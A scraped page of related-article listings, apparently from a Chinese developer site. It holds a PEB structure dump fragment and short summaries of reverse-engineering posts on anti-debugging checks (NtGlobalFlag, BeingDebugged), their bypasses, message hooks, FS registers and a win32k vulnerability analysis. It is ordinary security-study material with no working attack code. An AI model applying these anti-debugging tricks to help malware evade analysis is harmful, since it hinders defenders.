TlsBitmapBits    : [2] Uint4B +0x04c ReadOnlySharedMemoryBase : Ptr32 Void +0x050 HotpatchInformation : Ptr32 Void +0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void +0x058 AnsiCodePageData : Ptr32 Void +0x05c OemCodePageData  : Ptr32 Void +0x060 UnicodeCaseTableData : Ptr32 Void +0x064 NumberOfProcessors : Uint4B            CPU的个数 +0x068 NtGlobalFlag     : Uint4B    .    .    .
极安御信安全研究院
2023/06/28
1930
反调试专题丨反调试之NtGlobaFlag
Win64 驱动内核编程-28.枚举消息钩子「建议收藏」
钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。 钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,鼠标钩子可以截获鼠标消息,外壳钩子可以截获启动和关闭应用程序的消息,日志钩子可以监视和记录输入事件。
全栈程序员站长
2022/09/17
1.2K0
Win64 驱动内核编程-28.枚举消息钩子「建议收藏」
浅谈FS段寄存器在用户层和内核层的使用
在R0和R3时,FS段寄存器分别指向GDT中的不同段:在R3下,FS段寄存器的值是0x3B,在R0下,FS段寄存器的值是0x30.分别用OD和Windbg在R3和R0下查看寄存器(XP3),下图:
战神伽罗
2019/07/24
3K0
反调试专题丨反调试之BeingDebugged
进程结构体PEB偏移0x2处是一个标志位,当当前程序在调试状态下时,这个标志位就会被改变:
极安御信安全研究院
2023/06/28
6680
反调试专题丨反调试之BeingDebugged
服务进程里面去创建带窗口的进程(备忘)
DWORD WINAPI GetActiveSessionId() { HMODULE hInstKernel32 = LoadLibrary (L"Kernel32.dll" ); if (!hInstKernel32 ) { return 0; } HMODULE hInstWtsapi32 = LoadLibrary (L"Wtsapi32.dll" ); if (!hInstWtsapi32) { return 0; } typedef DWORD (WINAPI *__
大菊观
2021/09/26
8080
高级逆向分析技术
继续学习《逆向工程核心原理》,本篇笔记是第六部分:高级逆向分析技术,包括TLS、TEB、PEB、SEH和IA-32指令等内容
中龙技术
2022/09/29
1.2K0
高级逆向分析技术
C/C++ 反调试与绕过手法
反调试技术,恶意代码会用它识别自身是否被调试,或者让调试器失效,给反病毒工程师们制造麻烦,拉长提取特征码的时间线,本章将具体总结常见的反调试基础的实现原理以及如何过掉这些反调试手段,从而让我们能够继续分析恶意代码。
王 瑞
2022/12/28
6610
C/C++ 反调试与绕过手法
相关推荐
通过对比 5 月补丁分析 win32k 空指针解引用漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验